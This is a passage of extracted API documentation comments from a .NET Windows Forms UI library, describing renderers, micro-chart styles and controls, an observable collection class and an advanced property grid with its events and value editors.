sub-items it should query + image size and store biggest image size into this property. + + + + + Initializes Office Mobile 2014 color scheme Metro color table based on colors specified. + + + + + Draws the border. + + Graphics canvas. + Bounds for border. + Border thickness. + Border color. + + + + Draws background. + + Graphics canvas. + Background bounds. + Background color + + + + Deflates the rectangle by the border thickness. + + Rectangle. + Border thickness + Rectangle deflated by the border thickness + + + + Represents the painter for the Office 2007 SystemCaptionItem + + + + + Represents the base class for the SystemCaptionItem painter. + + + + + Paints the SystemCaptionItem as icon in left hand corner. + + + + + + Paints the SystemCaptionItem as set of buttons minimize, restore/maximize and close. + + + + + + Paints the background of the button using specified color table colors. + + Graphics object. + Background bounds + Color Table + + + + Gets or sets color table used by renderer. + + + + + Abstract renderer for rendering Metro-UI controls. + + + + + Renders the + + + + + + Gets or sets color table used by renderer. + + + + + Renders the MetroTileItem. + + MetroTileItem to render. + Rendering event arguments. + + + + Renders the MetroForm. + + Form to render. + Rendering event arguments. + + + + Renders the MetroForm. + + Form to render. + Rendering event arguments. + + + + Renders the MetroTabItem. + + Form to render. + Rendering event arguments. + + + + Renders the MetroTabStrip + + TabStrip to render. + Paint args + + + + Renders the MetroStatusBar. + + Status bar to render + Paint args + + + + Renders the MetroStatusBar. + + Status bar to render + Paint args + + + + Defines class for passing rendering information to renderer. + + + + + Gets or sets the control to render. + + + + + Gets or sets the paint event arguments to use to render out control. + + + + + Gets or sets the current color table. + + + + + Gets or sets default font. + + + + + Gets or sets default plain font. + + + + + Gets or sets right-to-left setting. + + + + + Gets or sets the paint information for items. + + + + + Represents the Office 2007 Ribbon Tab Group painter. + + + + + Paints ribbon tab group. + + Context information + + + + Paints SwitchButton. + + Provides arguments for the operation. + + + + Gets or sets color table used by renderer. + + + + + Defines Thickness structure used by borders and margins. + + + + + Creates new instance of the object. + + Uniform Thickness + + + + Creates new instance of the object. + + Left Thickness + Top Thickness + Right Thickness + Bottom Thickness + + + + Gets whether object equals to this instance. + + object to test. + returns whether objects are Equals + + + + Gets whether object equals to this instance. + + object to test. + returns whether objects are Equals + + + + Returns hash code for object. + + Hash code + + + + Returns string representation of object. + + string representing Thickness + + + + Gets string representation of object. + + Culture info. + string representing Thickness + + + + Returns whether object holds valid value. + + Specifies whether negative values are allowed. + Specifies whether NaN values are allowed. + Specifies whether positive infinity values are allowed + Specifies whether negative infinity values are allowed + true if object holds valid value + + + + Returns true if two objects are close. + + Thickness to test. + true if values are close. + + + + Returns true if two objects are close. + + Thickness 1 + Thickness 2 + true if values are close. + + + + Returns whether all values are zero. + + + + + Returns whether all values are the same. + + + + + Gets or sets the left Thickness. + + + + + Gets or sets the top Thickness. + + + + + Gets or sets the Right Thickness. + + + + + Gets or sets the Bottom Thickness. + + + + + Gets the total horizontal thickness i.e. Left+Right. + + + + + Gets the total vertical thickness i.e. Top+Bottom. + + + + + Provides Thickness TypeConverter. + + + + + Represents the base class each micro-chart implements + + + + + Creates the chart image. + + Rendering information. + Image of the chart. + + + + Defines the style for Area micro chart. + + + + + Initializes a new instance of the AreaMicroChartStyle class. + + + + + Raises StyleChanged event. + + Provides event arguments. + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Occurs when style appearance changes. + + + + + Gets or sets the value of the zero line, i.e. where zero line is drawn. Default value is 0. + + + + + Gets or sets the chart area color. + + + + + Gets or sets the color of the high point dot on chart. + + + + + Gets or sets the color of the low point dot on chart. + + + + + Gets or sets the color of the first point dot on chart. + + + + + Gets or sets the color of the last point dot on chart. + + + + + Defines the style for the bar style micro charts. + + + + + Raises StyleChanged event. + + Provides event arguments. + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Occurs when style appearance changes. + + + + + Gets or sets the minimum single bar width. + + + + + Gets or sets the color of positive bar value. + + + + + Gets or sets the color of negative bar value. + + + + + Gets or sets whether average line is drawn. + + + + + Gets or sets the value of the zero line, i.e. pivot point that determines negative and positive values. Default value is 0. + + + + + Gets or sets the color of the lowest value bar on graph. + + + + + Gets or sets the color of the highest value bar on graph. + + + + + Defines the style for 100% bar chart. + + + + + Initializes a new instance of the PieMicroChartStyle class. + + + + + Raises StyleChanged event. + + Provides event arguments. + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Occurs when style appearance changes. + + + + + Gets or sets the minimum single bar width. + + + + + Gets the pre-defined slice colors for the pie chart. + + + + + Gets or sets the color of the slice outline. + + + + + Defines the style for the line micro chart. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Raises StyleChanged event. + + Provides event arguments. + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets or sets the color of the chart line. + + + + + Gets or sets whether average line is drawn. + + + + + Gets or sets the color of the + + + + + Gets or sets whether zero-line is drawn on chart. + + + + + Gets or sets the value of the zero line, i.e. where zero line is drawn. Default value is 0. + + + + + Gets or sets the color of the + + + + + Occurs when style appearance changes. + + + + + Gets or sets the color of the high point dot on chart. + + + + + Gets or sets the color of the low point dot on chart. + + + + + Gets or sets the color of the first point dot on chart. + + + + + Gets or sets the color of the last point dot on chart. + + + + + Gets or sets whether control line is drawn. Default value is false. Control lines can be used to display for example low and high control bounds for the chart. + + + + + Gets or sets the color of the first control line. + + + + + Gets or sets starting value that is used to draw first control line. + + + + + Gets or sets end value that is used to draw first control line. + + + + + Gets or sets whether control line is drawn. Default value is false. Control lines can be used to display for example low and high control bounds for the chart. + + + + + Gets or sets the color of the second control line. + + + + + Gets or sets starting value that is used to draw second control line. + + + + + Gets or sets end value that is used to draw second control line. + + + + + Represents Micro-Chart Control. + + + + + Initializes a new instance of the MicroChart class. + + + + + Forces the button to perform internal layout. + + + + + Raises MouseOverDataPointChanged event. + + Provides event arguments. + + + + Invalidates the chart display and requests the re-paint. + + Indicates whether to animate transition to new chart + + + + Called when Command property value changes. + + + + + Gets or sets whether mouse over tooltip for data point is enabled. Default value is true. + + + + + Gets the index of data point (DataPoints collection) that mouse is over or returns -1 if mouse is not over any data-point. + + + + + Occurs when MouseOverDataPointIndex property changes due to user moving the mouse and pointing it to different data point on chart. + + + + + Gets or sets the tooltips for each data-point assigned through DataPoints property. If not set control will automatically + show tooltip based on the data-point value. + + + + + Gets or sets the chart data points. Note that if you are adding or removing points directly from this collection you must call + Refresh() method on the control to refresh the display. + + + + + Gets or sets the format string for the value when it is displayed as tool-tip for data point. + + + + + Gets or sets whether chart is tracking mouse movement to show data-point and its value on tooltip. Default value is true. + + + + + Gets or sets whether transition animation between same chart with different data-points is enabled. Default value is true. + + + + + Gets or sets whether button like mouse over tracking is enabled for whole control. When enabled control looks like a button when mouse is over it. Default value is false. + + + + + Gets the style used to customize appearance of Line micro-chart. + + + + + Gets the style used to customize appearance of Plot micro-chart. + + + + + Gets the style used to customize appearance of Column micro-chart. + + + + + Gets the style used to customize appearance of Bar micro-chart. + + + + + Gets the style used to customize appearance of Win-Lose micro-chart. + + + + + Gets the style used to customize appearance of Pie micro-chart. + + + + + Gets the style used to customize appearance of Area micro-chart. + + + + + Gets the style used to customize appearance of 100% micro-chart. + + + + + Gets or sets the type of the chart rendered. + + + + + Gets or sets the maximum value for data points. By default maximum data point is calculated based on that data displayed by the chart, but when + two charts need to be scaled the same setting maximum and minimum values for them will ensure that scales are visually the same. + + + + + Gets or sets the minimum value for data points. By default minimum data point is calculated based on that data displayed by the chart, but when + two charts need to be scaled the same setting maximum and minimum values for them will ensure that scales are visually the same. + + + + + Gets whether command is executed when control is clicked. + + + + + Gets or sets the command assigned to the item. Default value is null. + Note that if this property is set to null Enabled property will be set to false automatically to disable the item. + + + + + Gets or sets user defined data value that can be passed to the command when it is executed. + + + + + Initializes a new instance of the TrendInfo structure. + + + + + + + + + Initializes a new instance of the TrendInfo structure. + + + + + Initializes a new instance of the MicroChartRenderInfo structure. + + + + + + + + + Represents the micro-chart item. + + + + + Creates new instance of MicroChartItem. + + + + + Creates new instance of MicroChartItem and assigns the name to it. + + Item name. + + + + Creates new instance of MicroChartItem and assigns the name and text to it. + + Item name. + item text. + + + + Returns copy of the item. + + + + + Copies the MicroChartItem specific properties to new instance of the item. + + New MicroChartItem instance. + + + + Copies the MicroChartItem specific properties to new instance of the item. + + New MicroChartItem instance. + + + + Recalculate the size of the item. If overridden base implementation must be called so default processing can occur. + + + + + Raises MouseOverDataPointChanged event. + + Provides event arguments. + + + + Invalidates the chart display and requests the re-paint. + + Indicates whether to animate transition to new chart + + + + Draws the chart. + + Paint arguments + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Called when DataMaxValue property has changed. + + Old property value + New property value + + + + Called when DataMinValue property has changed. + + Old property value + New property value + + + + Gets or sets the suggested text-width. If you want to make sure that text you set wraps over multiple lines you can set suggested text-width so word break is performed. + + + + + Gets or sets the format string for the value when it is displayed as tool-tip for data point. + + + + + Gets or sets the chart data points. Note that if you are adding or removing points directly from this collection you must call + Refresh() method on the control to refresh the display. + + + + + Gets or sets the tooltips for each data-point assigned through DataPoints property. If not set control will automatically + show tooltip based on the data-point value. + + + + + Gets or sets whether transition animation between same chart with different data-points is enabled. Default value is true. + + + + + Gets whether fade effect is enabled. + + + + + Gets or sets whether chart is tracking mouse movement to show data-point and its value on tooltip. Default value is true. + + + + + Gets or sets whether button like mouse over tracking is enabled for whole control. When enabled control looks like a button when mouse is over it. Default value is false. + + + + + Gets the index of data point (DataPoints collection) that mouse is over or returns -1 if mouse is not over any data-point. + + + + + Gets or sets whether mouse over tooltip for data point is enabled. Default value is true. + + + + + Occurs when MouseOverDataPointIndex property changes due to user moving the mouse and pointing it to different data point on chart. + + + + + Gets the style used to customize appearance of Line micro-chart. + + + + + Gets the style used to customize appearance of Plot micro-chart. + + + + + Gets the style used to customize appearance of Column micro-chart. + + + + + Gets the style used to customize appearance of Bar micro-chart. + + + + + Gets the style used to customize appearance of Win-Lose micro-chart. + + + + + Gets the style used to customize appearance of Pie micro-chart. + + + + + Gets the style used to customize appearance of Area micro-chart. + + + + + Gets the style used to customize appearance of 100% micro-chart. + + + + + Gets or sets the width of the chart part of the control. + + + + + Gets or sets the height of the chart part of the control. + + + + + Gets or sets the type of the chart rendered. + + + + + Gets whether item supports text markup. Default is false. + + + + + Gets or sets whether text-markup support is enabled for items Text property. Default value is true. + Set this property to false to display HTML or other markup in the item instead of it being parsed as text-markup. + + + + + Gets or sets text-position in relation to the chart. + + + + + Gets or sets the text associated with this item. + + + + + Gets or sets whether caption/label set using Text property is visible. + + + + + Gets or sets text padding. + + + + + Gets or sets switch margin. + + + + + Gets or sets the text color. + + + + + Gets or sets the background image position + + + + + Gets or sets the background image used by the control. + + + + + Gets or sets the maximum value for data points. By default maximum data point is calculated based on that data displayed by the chart, but when + two charts need to be scaled the same setting maximum and minimum values for them will ensure that scales are visually the same. + + + + + Gets or sets the minimum value for data points. By default minimum data point is calculated based on that data displayed by the chart, but when + two charts need to be scaled the same setting maximum and minimum values for them will ensure that scales are visually the same. + + + + + Indicates item's visibility when on pop-up menu. + + + + + Indicates whether item was recently used. + + + + + Represents MicroChart hot-points. + + + + + Start angle for pie slice. + + + + + Sweep angle for pie slice. + + + + + Initializes a new instance of the MicroChartHotPoint structure. + + + + + + + Initializes a new instance of the MicroChartHotPoint structure. + + + + + + + + + Initializes a new instance of the MicroChartHotPoint structure. + + + + + + + + + + Defines available MicroChar types. + + + + + Identifies Plot chart. + + + + + Identifies WinLose chart. + + + + + Identifies Area chart. + + + + + Identifies Line chart. + + + + + Identifies Column chart. + + + + + Identifies Bar chart. + + + + + Identifies Pie chart. + + + + + Identifies 100% bar. + + + + + Defines micro-chart text position in relation to the chart. + + + + + Text is positioned to the left of the chart. + + + + + Text is positioned to the right of the chart. + + + + + Text is positioned on top of the chart. + + + + + Text is positioned on bottom of the chart. + + + + + Defines the style for pie chart. + + + + + Initializes a new instance of the PieMicroChartStyle class. + + + + + Raises StyleChanged event. + + Provides event arguments. + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Occurs when style appearance changes. + + + + + Gets the pre-defined slice colors for the pie chart. + + + + + Gets or sets the color of the slice outline. + + + + + Defines the style for the plot micro chart. + + + + + Raises StyleChanged event. + + Provides event arguments. + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Occurs when style appearance changes. + + + + + Gets or sets the color of the chart line. + + + + + Gets or sets whether average line is drawn. + + + + + Gets or sets the color of the + + + + + Gets or sets whether zero-line is drawn on chart. + + + + + Gets or sets the value of the zero line, i.e. where zero line is drawn. Default value is 0. + + + + + Gets or sets the color of the + + + + + Gets or sets the color of the high point dot on chart. + + + + + Gets or sets the color of the low point dot on chart. + + + + + Gets or sets the color of the first point dot on chart. + + + + + Gets or sets the color of the last point dot on chart. + + + + + Gets or sets whether control line is drawn. Default value is false. Control lines can be used to display for example low and high control bounds for the chart. + + + + + Gets or sets the color of the first control line. + + + + + Gets or sets starting value that is used to draw first control line. + + + + + Gets or sets end value that is used to draw first control line. + + + + + Gets or sets whether control line is drawn. Default value is false. Control lines can be used to display for example low and high control bounds for the chart. + + + + + Gets or sets the color of the second control line. + + + + + Gets or sets starting value that is used to draw second control line. + + + + + Gets or sets end value that is used to draw second control line. + + + + + Class that tracks lists of all controls that host currently open popups. + + + + + Registers IOwnerMenuSupport popup host in response to host displaying its first popup. + + IOwnerMenuSupport host to register + + + + Unregisters IOwnerMenuSupport popup host in response to host closing its last popup. + + IOwnerMenuSupport host to unregister + + + + Closes all currently open popups. + + + + + Closes all currently open popups excluding specified popup host. + + IOwnerMenuSupport host to exclude from closing or null + + + + Represents custom collection with INotifyPropertyChanged and INotifyCollectionChanged interface support. + + + + + + Represents collection changed notification interface. + + + + + Occurs when collection changed. + + + + + Creates new instance of object. + + + + + Creates new instance of object. + + + + + Creates new instance of object. + + List to initialize collection with. + + + + Add item to collection. + + Item to add. + + + + Remove all items from collection. + + + + + Remove all items from collection. + + + + + Checks whether collection contains item. + + Item to look for. + true if item is in collection. + + + + Copy collection to array. + + Array to copy to. + Index to copy from. + + + + Copy collection to array. + + Array to copy to. + + + + Gets enumerator for collection. + + Enumerator. + + + + Returns index of an item. + + Reference to item. + Index of item. + + + + Insert item at specified location. + + Index to insert item in. + Item to insert. + + + + Inserts item. + + Index to insert item at. + Reference to item. + + + + Removes item from collection. + + Item to remove. + true if item was removed. + + + + Remove item at specified location. + + Index of item to remove. + + + + Remove item at specified location. + + Index of item to remove. + + + + Set item on location. + + Index + Item to assign. + + + + Returns items directly without checks. + + List of items. + + + + Occurs when collection is read. + + + + + Occurs when collection property has changed. + + Event arguments. + + + + Blocks the collection reentrancy. + + IDisposable to end re-entrancy + + + + Checks whether call creates reentrancy. + + + + + Called when collection has changed. + + Event arguments. + + + + Occurs when property value has changed. + + + + + Returns number of items in collection. + + + + + Returns item at index. + + Index of item. + Item at index. + + + + Returns the IList interface for items in collection. + + + + + Occurs when collection has changed. + + + + + Defines change actions. + + + + + Items were added. + + + + + Items were removed. + + + + + Items were replaced. + + + + + Items were moved. + + + + + Collection was reset. + + + + + Defines delegate for collection notification events. + + Event sender. + Event arguments. + + + + Defines collection change notification event arguments. + + + + + Create new instance of object. + + Action + + + + Creates new instance of object. + + Specifies action. + List of changed items. + + + + Creates new instance of object. + + Specifies action. + Item that was changed. + + + + Creates new instance of object. + + Action. + New items in collection. + Old items in collection. + + + + Creates new instance of object. + + Action. + List of changed items. + Starting index of change. + + + + Creates new instance of object. + + Action + Changed item + Index of change + + + + Creates new instance of object. + + Action + New item + Old item + + + + Creates new instance of object. + + Action + New items. + Removed items. + Starting index of change. + + + + Creates new instance of object. + + Action + Changed items + New index + Old index + + + + Creates new instance of object. + + Action + Changed item + New index + Old index + + + + Creates new instance of object. + + Action. + New item + Old item + New index + + + + Gets the type of the collection change action. + + + + + Gets list of newly added items. + + + + + Gets new starting index. + + + + + Gets list of removed items. + + + + + Old starting index. + + + + + Represents advanced property grid control. + + + + + Defines an interface that is used by advanced property grid parser to localize property names. + + + + + Gets localized property name. + + Property name to retrieve localized name for. + Localized Property name or null to use default. + + + + Gets localized category name. + + Category to retrieve localized value for. + Localized Category name or null to use default. + + + + Gets localized message for Tooltip body when error setting the property value has occurred. + + Default system message. + Localized message or null to use default. + + + + Gets the style that is applied to property node when it is in read-only state. + + + + + Gets the style that is applied to property node when its value has changed from the default value for the property. + + + + + Gets the property category style. + + + + + Gets the default style for unchanged value edit cell. + + + + + Initializes a new instance of the AdvPropertyGrid class. + + + + + Invokes PropertyValueChanging event. + + Event data. + + + + Invokes PropertyValueChanged event handler. + + Name of the property that has changed. + New property value. + Old property value. + + + + Invokes PropertyValueChanged event. + + Name of property that has changed + + + + Raises ValidatePropertyValue event. + + Provides event arguments. + + + + Raises PropertiesLoaded event. + + Provides event arguments. + + + + Commits any property edits that are currently in progress by applying the current entered value to the property. + Returns true if edit was applied. + + + + + Updates specified property value in property grid. + + Property Name to update value for. + + + + Refreshes the display of all property values in the grid. + + + + + Reloads all properties from selected object. + + + + + Collapses all the categories in the AdvPropertyGrid. + + + + + Expands all the categories in the AdvPropertyGrid. + + + + + Raises the PrepareErrorSuperTooltip event. + + Provides information about event. + + + + Sets the property grid column width. + + Column index + Width of column in pixels + + + + Raises the ConvertPropertyValueToString event. + + Provides event data + + + + Raises the ConvertFromStringToPropertyValue event. + + Provides event data + + + + Raises the ProvidePropertyValueList event. + + Provides event data + + + + Raises the ProvideUITypeEditor event. + + Provides event data + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Find PropertyNode using the property name. + + Property to name + PropertyNode or null if not found + + + + Called when SubPropertiesDefaultSort property has changed. + + Old property value + New property value + + + + Raises the PropertyChanged event. + + Provides event arguments. + + + + Signals the object that initialization is starting. + + + + + Signals the object that initialization is ending. + + + + + Occurs when property grid needs property names translated for UI. + + + + + Occurs when Super Tooltip that is displayed for the error that occurred when property is being set is being assigned to a property node. + This event allows you to customize the super tooltip displayed. + + + + + Occurs when property value is being converted to text representation for display. You can handle this event + to provide custom conversion for property values. You must set IsConverted=true on event arguments to indicate that you have performed value conversion. + + + + + Occurs when text entered by user is being converted to typed property value to be assigned to the property. You can handle this event + to provide custom conversion for property values. You must set IsConverted=true on event arguments to indicate that you have performed value conversion. + + + + + Occurs when property looks for the list of valid values for the property to show on either drop-down or use + in auto-complete list. For example when property type is enum the internal implementation will convert available enum + values into string list and use on drop-down and in auto-complete list. You can use this event to provide + custom value list in combination with ConvertPropertyValueToString, ConvertFromStringToPropertyValue events. + You must set IsListValid=true on event arguments to indicate that list your provided should be used. + + + + + Occurs when property node needs the UITypeEditor for the property. You can handle this event and provide your own UITypeEditor to be used instead of the one specified on the property. + + + + + Occurs when user changes the value of the property in property grid. + + + + + Occurs before property value entered by the user is set on the property. You can cancel internal assignment by property grid by setting Handled=true on event arguments. + + + + + Occurs when users changes the property value and attempts to commit the changes. This even allows you to validate the value and show error message if value is invalid and cancel its application. + + + + + Occurs after properties have been loaded into the property grid. + + + + + Gets or sets the currently selected objects. + + + + + Gets or sets the currently selected object. + + + + + Gets or sets the browsable attributes associated with the object that the property grid is attached to. + + + + + Gets or sets whether property is highlighted to confirm the value update by user. Default value is true. + + + + + Gets or sets the list of property names that are not loaded into property grid regardless of their Browsable attribute setting. + + + + + Gets or sets the list of category names properties below to that are not loaded into property grid regardless of the property Browsable attribute setting. + + + + + Returns reference to internal SuperTooltip component used by AdvPropertyGrid. + + + + + Defines the appearance of the control. + + + + + Gets or sets the property sorting inside of the grid. + + + + + Gets or sets the help type that is provided by the control. Default help type is SuperTooltip which shows tooltip over each property + that provides property description. + + + + + Gets reference to the help panel that is displayed below property grid and which provides selected property description. + + + + + Gets reference to the expandable splitter that is displayed above the help panel and allows resizing of the panel. + + + + + Gets reference to internal AdvTree control that displays properties. + + + + + Gets or sets the grid lines color. + + + + + Gets the reference to the internal toolbar control displayed above the property grid. + + + + + Gets or sets whether toolbar is visible. Default value is true. + + + + + Gets or sets whether search text box that allows property filtering is visible. Default value is true. + + + + + Gets reference to internal TextBoxItem that represents search text box. + + + + + Gets the reference to the property gird localization object which holds all system text used by the component. + + + + + Gets or sets whether Tab key navigates between property nodes. Default value is true. + + + + + Gets or sets the password character used by the property values that are marked with PropertyPasswordText attribute. + + + + + Gets or sets the sub property default sorting. Default value is Alphabetical. + + + + + Occurs when property defined by AdvPropertyGrid control has changed. + + + + + Gets the style that is applied to property node when it is in read-only state. + + + + + Gets the style that is applied to property node when its value has changed from the default value for the property. + + + + + Gets the style that is applied to property edit cell when its displaying unchanged property value. + + + + + Gets the property category style. + + + + + Defines the sorting for the AdvPropertyGrid properties. + + + + + Specifies help types property grid uses to display help for selected property. + + + + + No help is visible. + + + + + SuperTooltip with property description is displayed when mouse is over the property. + + + + + Panel below property grid is displayed which shows the description for the selected property. + + + + + Defines delegate for Localize AdvPropertyGrid event. + + + + + + + Defines data for Localize AdvPropertyGrid event. + + + + + Gets the property name or category name localization is performed for. Inspect LocalizationType property to get localization type which + determines value specified in this property. + + + + + Gets the localization type being performed. + + + + + Gets or sets the localized value to be used. Set to null or empty string to use default value. + + + + + Initializes a new instance of the AdvPropertyGridLocalizeEventArgs class. + + Key value event is raised for. + Localization Type being performed. + + + + Defines the localization types for AdvPropertyGrid control. + + + + + Property name is localized. + + + + + Category is localized. + + + + + Error super tooltip parts are being localized. + + + + + Defines delegate for Localize AdvPropertyGrid event. + + + + + + + Defines data for PrepareErrorTooltip AdvPropertyGrid event. + + + + + Gets or sets the SuperTooltipInfo that represent tooltip that will be displayed to provide error information. + + + + + Gets the name of the property tooltip is displayed for. + + + + + Gets reference to the exception that was thrown when property was set. + + + + + Gets the value that was set and caused the error. + + + + + Initializes a new instance of the PropertyErrorTooltipEventArgs class. + + SuperTooltipInfo for error tooltip + Property that caused error + Exception that was raised when property was set + Value that caused the error. + + + + Defines delegate for Convert Value events. + + Sender + Event data. + + + + Defines data for Convert Value events that allows custom value conversion for property grid. + + + + + Gets or sets the string property value. + + + + + Gets or sets the typed property value. + + + + + Gets the property name for which conversion is being done. + + + + + Gets the target component that property is on. + + + + + Gets or sets whether converted value is used. You need to set this property to true to indicate that you have performed value conversion. + + + + + Gets the property descriptor that describes property. + + + + + Initializes a new instance of the ConvertValueEventArgs class. + + + + + + + + + Defines delegate for Convert Value events. + + Sender + Event data. + + + + Defines data for Convert Value events that allows custom value conversion for property grid. + + + + + Gets the property name value list is needed for. + + + + + Gets the target component that property is on. + + + + + Gets or sets whether property ValueList provided is valid. You must set this property to true in order for the list to be used. + + + + + Gets or sets the list of valid property values. + + + + + Gets the property descriptor that describes property. + + + + + Initializes a new instance of the PropertyValueListEventArgs class. + + + + + + + Defines delegate for Localize AdvPropertyGrid event. + + Sender of event. + Event data. + + + + Defines data for PrepareErrorTooltip AdvPropertyGrid event. + + + + + Gets the property name UITypeEditor is looked for. + + + + + Gets the property descriptor for property UITypeEditor is looked for. + + + + + Gets or sets the instance of UITypeEditor to be used for the property. You set this property to the UITypeEditor that you want + used for the property while editing. Note that you must set EditorSpecified = true in order for this value to be used. + + + + + Gets or sets whether the value specified in UITypeEditor property is used. You must set this value to true in order for + UITypeEditor property value to be used. + + + + + Initializes a new instance of the ProvideUITypeEditorEventArgs class. + + Property Name + Property Descriptor + + + + Defines delegate for PropertyValueChanging event. + + Event sender. + Event data. + + + + Defines arguments for PropertyValueChanging event. + + + + + Gets the name of the property which value is changing. + + + + + Gets the new value that is being set on property. + + + + + Gets or sets whether value assignment was handled by your code. Set to true to cancel internal AdvPropertyGrid property value assignment. + + + + + Gets the PropertyDescriptor for the property being changed. + + + + + Gets the full property path up to the selected object. + + + + + Initializes a new instance of the PropertyValueChangingEventArgs class. + + + + + + + Initializes a new instance of the PropertyValueChangingEventArgs class. + + + + + + + Defines delegate for ValidatePropertyValue event. + + Sender + ValidatePropertyValue event arguments + + + + Defines event arguments for ValidatePropertyValue event. + + + + + Gets or sets whether validation failed. Set to true to cancel property value assignment. + + + + + Gets the name of the property which value is changing. + + + + + Gets the new value that is being set on property. + + + + + Gets the target object on which property value is set. + + + + + Gets or sets the message that is displayed to user if validation fails, i.e. Cancel=true. + + + + + Initializes a new instance of the ValidatePropertyValueEventArgs class. + + + + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets or sets the color of the node highlight when error has occurred while setting property value. + + + + + Gets or sets the color of the node highlight when property update was successful. + + + + + Gets or sets default style for property node. + + + Default value is null. + + + + + Gets or sets style for property node when in read-only state. + + + Default value is null. + + + + + Gets or sets style for property node when in read-only state. + + + Default value is null. + + + + + Gets or sets style for property node edit cell when displaying unchanged property value. + + + Default value is null. + + + + + Gets or sets style for property node when in read-only state. + + + Default value is null. + + + + + Gets or sets the image that is displayed in property name cell when property value has failed the validation. + + + + + Represents the class that stores text used by property grid control for localization purposes. + + + + + Raises the PropertyChanged event. + + Provides event arguments. + + + + Gets or sets tooltip used by Categorized toolbar button. + + + + + Gets or sets tooltip used by Alphabetical toolbar button. + + + + + Gets or sets the tooltip text used in tooltip when error occurred during property value setting. + + + + + Gets or sets the watermark text displayed in search text-box. + + + + + Occurs when property defined by AdvPropertyGridLocalization class has changed. + + + + + Represents the property category in AdvPropertyGrid. + + + + + Represents check-box style property node in AdvPropertyGrid. + + + + + Represents a property node in AdvPropertyGrid. + + + + + Initializes a new instance of the PropertyNode class. + + + + + + Releases the inline editor used by the node. + + + + + Places the node into the editing mode if possible, raises the exception if node is read-only. + + Action that caused the edit mode. + Indicates whether to focus the editor. + + + + Called after property editor is created. + + + + + Exits the editor mode. + + Action that caused the editor mode exit. + + + + Called when visual part of the node has changed due to the changes of its properties or properties of the cells contained by node. + + + + + Cancel the edit changes and applies the old property value. + + + + + Attempts to apply current edit value to the property. + + + + + Returns the full property path to the root of the selected object. + + Full property path. + + + + Starts fade background color style highlight for the property node. + + Specifies the fade background color. + + + + Applies PropertySettings to this node. + + + + + Gets or sets whether property text box is read only. Default value is false. + + + + + Gets whether node is in editing mode. + + + + + Gets or sets the property settings that are applied to this property node. + + + + + Gets or sets whether property node represents property for multiple objects. + + + + + Gets or sets whether property is password property which value is not displayed as plain text. + + + + + Defines delegate that is called after property editor is created. + + PropertyNode sender. + Reference to editor. + + + + Initializes a new instance of the PropertyNode class. + + + + + + Defines a attribute which applies an date-time editor to a property when used with AdvPropertyGrid control. Applies to DateTime property types only. + + + + + Defines base attribute for custom AdvPropertyGrid in-line property value editors. + + + + + Creates a control that is used as property value in-line editor. Control must implement IPropertyValueEditor interface. + + PropertyDescriptor for the property being edited. + Target object that owns the property. + Control that represents in-line editor. + + + + Gets or sets pre-defined format for date-time input. + + + + + Gets or sets custom format for date-time input. + + + + + Gets or sets whether empty null/nothing state of the control is allowed. Default value is false. + + + + + Gets or sets whether drop-down button that shows calendar is visible. Default value is true. + + + + + Gets or sets the minimum date that control accepts. + + + + + Gets or sets the maximum date that control accepts. + + + + + Initializes a new instance of the PropertyDateTimeEditor class. + + + + + + Initializes a new instance of the PropertyDateTimeEditor class. + + + + + + + Initializes a new instance of the PropertyDateTimeEditor class. + + + + + + + + Initializes a new instance of the PropertyDateTimeEditor class. + + + + + + + + + + + Initializes a new instance of the PropertyDateTimeEditor class. + + + + + + + Initializes a new instance of the PropertyDateTimeEditor class. + + + + + + Initializes a new instance of the PropertyDateTimeEditor class. + + + + + + + Initializes a new instance of the PropertyDateTimeEditor class. + + + + + Defines an interface that is implemented by the control that will be used by AdvPropertyGrid control to edit property value. + + + + + Focus the edit part of the control. + + + + + Gets or sets the font used by the edit part of the control. Font might be used to visually indicate that property value has changed. Implementing this property is optional. + + + + + Gets whether the edit part of the control is focused. + + + + + Gets or sets the value being edited. + + + + + Occurs when EditValue changes. Raising this even will cause the property value to be updated with the EditValue. + + + + + Defines a attribute which applies an double type numeric editor to a property when used with AdvPropertyGrid control. Applies to double property types only. + + + + + Gets or sets whether up/down button is shown. + + + + + Gets or sets the display format for the control when control does not have input focus. + + + + + Gets or sets the minimum value that can be entered. + + + + + Gets or sets the maximum value that can be entered. + + + + + Gets or sets whether empty state i.e. null/nothing value is allowed when editor is used with nullable types. + + + + + Initializes a new instance of the PropertyDoubleEditor class. + + + + + Initializes a new instance of the PropertyDoubleEditor class. + + + + + + Initializes a new instance of the PropertyDoubleEditor class. + + + + + + + Initializes a new instance of the PropertyDoubleEditor class. + + + + + + + + Initializes a new instance of the 